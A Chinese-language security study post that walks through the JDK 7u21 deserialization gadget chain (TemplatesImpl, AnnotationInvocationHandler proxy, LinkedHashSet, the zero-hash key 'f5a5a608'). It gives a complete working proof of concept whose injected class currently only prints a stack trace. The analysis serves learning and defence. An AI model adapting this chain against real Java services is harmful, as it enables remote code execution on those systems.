前言
聽說jdk7u21的反序列化涉及的知識量很多,很難啃,具體來看看咋回事
環境
jdk7u21
IDEA 2021.1.2
javassist
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.21.0-GA</version>
</dependency>
使用的程式碼如下,復現時推薦手寫一遍
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.*;
import java.lang.reflect.*;
import java.util.*;
import java.lang.reflect.Proxy;
import javassist.ClassPool;
import javassist.CtClass;
import javax.xml.transform.Templates;
public class Main{
public static void main(String[] args) throws Exception {
// 生成惡意類的位元組碼
ClassPool pool = ClassPool.getDefault();
CtClass payload = pool.makeClass("EvilClass");
payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
byte[] evilClass = payload.toBytecode();
// 建立templates物件,並反射修改其中的屬性
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, new byte[][]{evilClass}); // 注意這裡是byte二維陣列
// 反射修改值
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "test");
// 反射修改值
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());
// 修改值
Field auxClasses = templates.getClass().getDeclaredField("_auxClasses");
auxClasses.setAccessible(true);
auxClasses.set(templates, null);
Field aClass = templates.getClass().getDeclaredField("_class");
aClass.setAccessible(true);
aClass.set(templates, null);
// key為固定值,後面會解釋
String key = "f5a5a608";
HashMap map = new HashMap();
map.put(key, "xxx");
// 獲取構造器,並使用動態代理,建立proxy物件
Constructor<?> declaredConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Templates.class, map);// AnnotationInvocationHandler.memberValues -> hashMap type->Templates.Class
Templates proxy = (Templates) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), templates.getClass().getInterfaces(), invocationHandler);
LinkedHashSet linkedHashSet = new LinkedHashSet(); // 序列化物件
linkedHashSet.add(templates);
linkedHashSet.add(proxy);
map.put(key, templates); // 修改key對應的value,避免本地觸發payload
// 模擬序列化和反向序列化
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(linkedHashSet);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
倒序分析
執行上面的java程式碼,由於給定執行的程式碼為new java.io.IOException().printStackTrace();
,所以會報錯顯示如下資訊:
at EvilClass.<clinit>(EvilClass.java)
...
at java.lang.reflect.Constructor.newInstance(Constructor.java:525)
at java.lang.Class.newInstance0(Class.java:374)
at java.lang.Class.newInstance(Class.java:327)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:380)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:410)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:601)
at sun.reflect.annotation.AnnotationInvocationHandler.equalsImpl(AnnotationInvocationHandler.java:197)
at sun.reflect.annotation.AnnotationInvocationHandler.invoke(AnnotationInvocationHandler.java:59)
at com.sun.proxy.$Proxy0.equals(Unknown Source)
at java.util.HashMap.put(HashMap.java:475)
at java.util.HashSet.readObject(HashSet.java:309)
...
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:370)
at com.bitterz.stream.CommonCollectionsLearn.main(CommonCollectionsLearn.java:130)
這裡省略的部分都是反射或者native方法,不是呼叫鏈的關鍵資訊。從上往下倒退可以看出,EvilClass在使用構造方法時觸發惡意程式碼,構造方法是從TemplatesImpl#newTransformer->TemplatesImpl#getTransletInstance->Class.newInstance()觸發的,那我們先看看TemplatesImpl這個類的呼叫過程
TemplatesImpl
TemplatesImpl#getTransletInstance
private Translet getTransletInstance() throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (){}
}
看到前面兩個filed頓感熟悉呀,我們的程式碼裡面正好把Templates物件的_name
和_class
設定"test"和null了,所以會執行TemplatesImpl#defineTransletClasses
方法,跟進一下這個方法
TemplatesImpl#defineTransletClasses
private void defineTransletClasses() throws TransformerConfigurationException {
if (_bytecodes == null) {//throw exception;}
TransletClassLoader loader = (TransletClassLoader) ..; // 獲取類載入器
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new Hashtable();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (){}
}
繼續省略了報錯、catch等不關鍵程式碼。這裡有兩個關鍵點:
- 由於_bytecodes被我們為
new byte[][]{evilClass}
,也就是存放了惡意位元組碼,所以進入try程式碼塊中,這裡最關鍵的程式碼是_class[i] = loader.defineClass(_bytecodes[i]);
,也就是遍歷_bytecodes陣列中的所有位元組碼,然後用defineClass方法將其載入到jvm中,並返回一個類物件到_class陣列中。 if (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;}
,由於我們使用動態代理建立類時,呼叫的是無參構造方法,所以ABSTRACT_TRANSLET="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet",另外我們給進去的惡意類的父類也被設定為com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
,所以superClass.getName().equals(ABSTRACT_TRANSLET)為true,執行程式碼_transletIndex = i;
,此時i=0。
defineTransletClasses方法執行完後,返回到TemplatesImpl#getTransletInstance
的中,執行 AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
這裡由於_class中只有一個惡意類物件,而且_transletIndex剛好為0,所以觸發惡意類的構造方法。
TemplatesImpl類中呼叫鏈也就分析完了,那麼來看看newTransformer方法為何會被呼叫
AnnotationInvocationHandler
這一段的呼叫鏈是
at sun.reflect.annotation.AnnotationInvocationHandler.equalsImpl(AnnotationInvocationHandler.java:197)
at sun.reflect.annotation.AnnotationInvocationHandler.invoke(AnnotationInvocationHandler.java:59)
at com.sun.proxy.$Proxy0.equals(Unknown Source)
java.util.HashMap.put(HashMap.java:475)
先來看看呼叫鏈是如何從HashMap.put
到AnnotationInvocationHandler.invoke
的,HashMap#put
方法如下
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
addEntry(hash, key, value, i);
return null;
}
呼叫鏈中com.sun.proxy.$Proxy0.equals
實際上指的是動態代理建立的物件呼叫了其equals方法,所以我們可以定位到key.equals(k),而在衣服語句的第二條中執行了k=e.key,而e=table[i],這裡實際上涉及到LinkedHashSet的鍵值儲存方式問題,這裡先直接給結論,k就是惡意類物件templates,後面再分析為什麼。
由於動態代理建立的類呼叫了其equals方法,根據動態代理的特性,會呼叫到代理類AnnotationInvocationHandler#invoke
方法,那麼來具體看看這個方法
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else {
assert var5.length == 0;
if (var4.equals("toString")) {
return this.toStringImpl();
} else if (var4.equals("hashCode")) {
return this.hashCodeImpl();
} else if (var4.equals("annotationType")) {
return this.type;
} else {
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
在實際的呼叫中,傳入的引數:var1=proxy, var2=equals, var3=templates惡意類物件,equals方法需要的引數型別為Object,因此第一個if條件為true,進入AnnotationInvocationHandler#equalsImpl
方法,跟進一下這個方法
private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4];
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1);
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}
if (!memberValueEquals(var7, var8)) {
return false;
}
}
return true;
}
}
此時,傳入的引數var1=templates惡意物件,這個方法中最重要的程式碼塊是for迴圈,但是要先看看for迴圈前面的兩行程式碼,跟進一下AnnotationInvocationHandler#getMemberMethods
方法
private Method[] getMemberMethods() {
if (this.memberMethods == null) {
this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
public Method[] run() {
Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
AccessibleObject.setAccessible(var1, true);
return var1;
}
});
}
return this.memberMethods;
}
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
this.type = var1;
this.memberValues = var2;
} // 我們的程式碼中反射呼叫的構造方法
這裡需要回看一下我們的程式碼反射建立AnnotationInvocationHandler物件的部分以及AnnotationInvocationHandler的構造方法,因為我們傳入的兩個引數是Templates.class和HashMap物件,所以AnnotationInvocationHandler#getMemberMethods
獲取的就是Templates的所有方法物件。然後我們回到AnnotationInvocationHandler#equalsImpl
方法的for迴圈部分,這裡有兩個關鍵點:
- var9,呼叫AnnotationInvocationHandler#isOneOfUs(Object),程式碼比較簡單,就不跟進了,返回值為null
- var5.invoke(var1),由於var9為null,所以for迴圈也就意味著遍歷呼叫Templates所有方法,而且呼叫物件是傳入的var1,也就是我們構造的惡意物件templates
templates的各種引數被精心設計過,所以會從newTransformer呼叫到惡意類的構造方法,從而觸發其中的惡意程式碼。到這裡,我們梳理通了AnnotationInvocationHandler中的呼叫鏈,但有個問題沒有解決,那就是前面提到的HashMap#put
方法那一個關鍵的if語句
if (e.hash == hash && ((k = e.key) == key || key.equals(k)))
HashMap
現在來看看HashMap#put
前面的呼叫鏈
at java.util.HashMap.put(HashMap.java:475)
at java.util.HashSet.readObject(HashSet.java:309)
...
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:370)
省略ObjectInputStream#readObject
之後的不重要的呼叫棧,由於ObjectInputStream#readObject
反序列化時,會自動呼叫被反序列化類的readObject方法,也就是LinkedHashSet,我們的程式碼中序列化的類,而LinkedHashSet沒有實現readObject方法,而是繼承自HashSet,所以呼叫了HashSet#readObject
跟進一下該方法
- HashSet#readObject
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();
// Read in HashMap capacity and load factor and create backing HashMap
int capacity = s.readInt();
float loadFactor = s.readFloat();
map = (((HashSet)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
// Read in size
int size = s.readInt();
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
- HashSet#add
Object PRESENT = new Object();
public boolean add(E e) {
return map.put(e, PRESENT)==null;
}
從readObject的for迴圈處和add方法可見,HashSet管理輸入的鍵值的方法是,將輸入物件作為HashMap的key,以保證其唯一性,可以add重複的值,列印HashSet#size
檢驗。
繼續說HashSet#readObject
方法,先建立一個map後,用s.readInt()獲取序列化時hashSet的size,然後進入for迴圈,依次讀取序列化時HashSet中的每個物件,並作為map的key,這時就會呼叫到HashMap#put
方法
- HashMap#put
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
addEntry(hash, key, value, i);
return null;
}
由於真正觸發惡意程式碼的是HashMap.put(proxy)時觸發,此時templates已經反序列化好了,所以我們從這個基礎角度去看程式碼,key=proxy,value=object
呼叫hash(key)獲取hash值,跟進一下這個方法
- HashMap#hash
final int hash(Object k) {
int h = 0;
if (useAltHashing) {
if (k instanceof String) {
return sun.misc.Hashing.stringHash32((String) k);
}
h = hashSeed;
}
h ^= k.hashCode();
// This function ensures that hashCodes that differ only by
// constant multiples at each bit position have a bounded
// number of collisions (approximately 8 at default load factor).
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}
此時k=proxy,if判斷為空,所以h=0,執行到k.hashCode(),由於k=proxy,所以會呼叫AnnotationInvocationHandler.invoke
方法
這裡就不重複貼上程式碼了,通過一些列if判斷後,會進入AnnotationInvocationHandler#hashCodeImpl
方法,跟進一下該方法
- AnnotationInvocationHandler#hashCodeImpl
private int hashCodeImpl() {
int var1 = 0;
Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}
return var1;
}
此時需要注意的是,this.memberValues是我們的程式碼中建立AnnotationInvocationHandler物件時給進去的HashMap,這個HashMap只有一個鍵值對("f5a5a608"->templates),在這個基礎下,繼續分析這裡的程式碼,for迴圈先得到var3=("f5a5a608"->templates),然後執行var1+=......
計算第一部分((String)var3.getKey()).hashCode()
,var3.getKey()="f5a5a608"
很巧的是,"f5a5a608".hashCode()恰好為0,找出這個呼叫鏈的大神也太猛了- _ -!,繼續看memberValueHashCode(var3.getValue())
,var3.getValue()=templates,然後跟進一下AnnotationInvocationHandler#memberValueHashCode(templates)
- AnnotationInvocationHandler#memberValueHashCode
private static int memberValueHashCode(Object var0) {
Class var1 = var0.getClass();
if (!var1.isArray()) {
return var0.hashCode();
} else if (var1 == byte[].class) {
return Arrays.hashCode((byte[])((byte[])var0));
} else if (var1 == char[].class) {
return Arrays.hashCode((char[])((char[])var0));
} else if (var1 == double[].class) {
return Arrays.hashCode((double[])((double[])var0));
} else if (var1 == float[].class) {
return Arrays.hashCode((float[])((float[])var0));
} else if (var1 == int[].class) {
return Arrays.hashCode((int[])((int[])var0));
} else if (var1 == long[].class) {
return Arrays.hashCode((long[])((long[])var0));
} else if (var1 == short[].class) {
return Arrays.hashCode((short[])((short[])var0));
} else {
return var1 == boolean[].class ? Arrays.hashCode((boolean[])((boolean[])var0)) : Arrays.hashCode((Object[])((Object[])var0));
}
}
此時的輸入var0=templates,直接進入第一個if語句程式碼塊,返回templates.hashCode(),假定其為X,然後返回到AnnotationInvocationHandler#hashCodeImpl
,var1就變成了 0 + 127 * 0 ^ X,(^表示異或,0^某數字=某數字)根據java的運算子順序127 * 0 = 0,再0 ^ X = X,所以var1 = X,然後從AnnotationInvocationHandler#hashCodeImpl
返回到HashMap#hash
,其中的變數h經過後面部分的處理後假定其值為Y,然後程式碼繼續向下執行
- HashMap#put
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}
modCount++;
addEntry(hash, key, value, i);
return null;
}
此時變數hash=Y,key=proxy,value=object。執行i=indexFor(hash, table.length),由於前面只反序列化了一個物件也就是templates,所以i=0,進入for迴圈檢查輸入的key是否已經存在了。首先e = <templates, object>,而e.hash是多少呢?
這時我們需要將put方法的輸入帶入key=templates, value=object來思考,hash=HashMap.hash(templates),在HashMap#hash
方法中呼叫templates.hashCode()獲得值X!!,然後繼續後面的處理,這不就直接獲得一個值Y嗎?!,hash=Y,然後往下執行,進入addEntry()方法,
void addEntry(int hash, K key, V value, int bucketIndex) {
if ((size >= threshold) && (null != table[bucketIndex])) {
resize(2 * table.length);
hash = (null != key) ? hash(key) : 0;
bucketIndex = indexFor(hash, table.length);
}
createEntry(hash, key, value, bucketIndex); // 進入這裡 hash=Y
}
void createEntry(int hash, K key, V value, int bucketIndex) {
Entry<K,V> e = table[bucketIndex];
table[bucketIndex] = new Entry<>(hash, key, value, e); // 新建一個Entry,跟進其構造方法 hash=Y
size++;
}
Entry(int h, K k, V v, Entry<K,V> n) { // 構造方法
value = v;
next = n;
key = k;
hash = h; // hash=h=Y
}
看了這個呼叫鏈就可以知道,e = Entry<templates, object> 這個物件的e.hash就等於Y!,回到HashMap#put
方法
此時if條件一步一步滿足,這裡其實涉及到java中if語句的短路特性,在&&判斷時,如果第一個條件為false,則直接判定為false,所以e.hash==hash必須為true才會執行到key.equals(k),不得不佩服這個利用鏈的構造者,java功底太深了。
同時到這裡也就很容易理解,為什麼我們的程式碼要在linkeHashSet.add之後才對AnnotationInvocationHandler.menberValues中的鍵值對進行修改為<"f5a5a6018", templates>,因為提前就寫好的話,在linkeHashSet.add(proxy)的時候就會本地觸發惡意程式碼
總結
到這裡整個呼叫鏈的分析就完成了
- 首先是LinkedHashSet.readObject實際呼叫HashSet.readObject,任何將templates反序列化出來,這裡又涉及到HashMap來管理HashSet的物件,以及HashMap將key->value對用內部類Entry來管理,並且這個Entry.hash=HashMap.hash(key)。
- 而後,在HashSet.readObject中反序列化proxy物件,該物件是動態代理建立的,所以其實先會把AnnotationInvocationHandler反序列化出來,並且其中的memberValues=HashMap<"f5a5a6018"->templates>只有這一個鍵值對。而後進入
HashMap.put
方法中,在HashMap.hash(proxy)時,觸發代理類的invoke方法,進入AnnotationInvocationHandler#hashCodeImpl
方法,而此時又由於AnnotationInvocationHandler.memberValues中的key,也就是"f5a5a6018"的hash值恰好為0,導致AnnotationInvocationHandler#hashCodeImpl
的返回值為templates物件的hash值,而後返回到HashMap.hash(proxy)時,其返回值與HashMap.hash(templates)相同,也就導致HashMap.put方法中判斷key是否重複時,繞過短路特性,執行到後面的key.equals(k),也就是proxy.equals(templates)方法 - 此後由於動態代理的特性,進入AnnotationInvocationHandler.invoke方法,再進入equalsImpl方法,並在其中呼叫templates的所有方法,從而觸發到TemplatesImpl的惡意呼叫鏈,將惡意位元組碼通過defineClass載入到jvm中,並呼叫其構造方法,從而觸發惡意程式碼,實現RCE。
這裡還有一個小點需要補充,網上說TemplatesImpl呼叫鏈都是getOutputProperties開始的
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:380)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:410)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:431)
...
at sun.reflect.annotation.AnnotationInvocationHandler.equalsImpl(AnnotationInvocationHandler.java:197)
at sun.reflect.annotation.AnnotationInvocationHandler.invoke(AnnotationInvocationHandler.java:59)
at com.sun.proxy.$Proxy0.equals(Unknown Source)
但實際上,註釋掉_tfactory和_auxClasses反射修改值的程式碼才會從getOutputProperties觸發,如果不註釋,則直接從newTransformer觸發,並且這兩個field對呼叫鏈不產生影響。